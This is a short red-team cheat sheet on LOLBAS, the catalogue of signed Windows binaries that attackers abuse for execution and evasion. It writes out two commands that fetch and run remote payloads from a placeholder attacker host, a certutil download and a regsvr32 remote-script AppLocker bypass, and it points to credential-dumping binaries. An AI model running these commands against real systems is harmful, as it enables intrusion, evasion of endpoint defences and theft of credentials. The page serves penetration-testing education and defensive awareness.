LOLBAS Cheat Sheet

LOLBAS (Living Off the Land Binaries and Scripts) is GTFOBins' Windows counterpart — a curated database of legitimate, digitally signed, pre-installed Windows executables, scripts, and libraries documenting what each can be abused to do. Where GTFOBins is mostly about privilege escalation via sudo/SUID, LOLBAS skews toward execution and defense evasion: running code, downloading files, or bypassing a control, all through a binary Microsoft signed and shipped, which security tooling is far less likely to flag than an unfamiliar dropped executable.

Red Team / Offensive Use

Every technique here trades on the same thing: AV/EDR products build a lot of trust into "this binary is signed by Microsoft and ships with Windows." Using certutil to download a file, or regsvr32 to execute a remote script, means the process tree shows a completely legitimate system binary doing the work — exactly the defense evasion idea of blending in rather than standing out. It's just as relevant to the Windows privesc checklist: a binary that's already whitelisted or trusted by an AppLocker/WDAC policy is often abusable to bypass that same policy.

Established Cheatsheet

lolbas-project.github.io — the project itself; search by binary name, filter by function (Execute, Download, Upload, Compile, DLL loading, AWL bypass, Credentials, and more).

PWNMI's Top 6 Use Cases

• Filter by "Execute" when you need code execution through a trusted process rather than dropping your own binary — the starting point for most LOLBAS use
• Example: certutil.exe -urlcache -f http://10.10.10.5/payload.exe payload.exe — a signed Microsoft binary meant for certificate management, repurposed to download a file; one of the most commonly flagged-then-still-used techniques precisely because it's so well known and still works in under-tuned environments
• Example: regsvr32 /s /n /u /i:http://10.10.10.5/payload.sct scrobj.dll — executes a remote script via a signed DLL registration utility, a classic AppLocker/application-whitelisting bypass
• Filter by "AWL Bypass" specifically when the target has application allowlisting (AppLocker, WDAC) in place — this narrows straight to the binaries documented to get around it
• Filter by "Credentials" for binaries that can be abused to dump or expose credential material through an unexpected path, rather than a dedicated tool like Mimikatz
• Cross-check any binary you find already present and reachable on a target against LOLBAS before assuming you need to bring your own tooling — the whole premise of "living off the land" is using what's already there

Next step

For where this fits alongside stealth more broadly, see Defense Evasion Fundamentals and Windows Privilege Escalation. For the Linux equivalent — trusted binaries abused mainly for privilege escalation rather than evasion — see GTFOBins.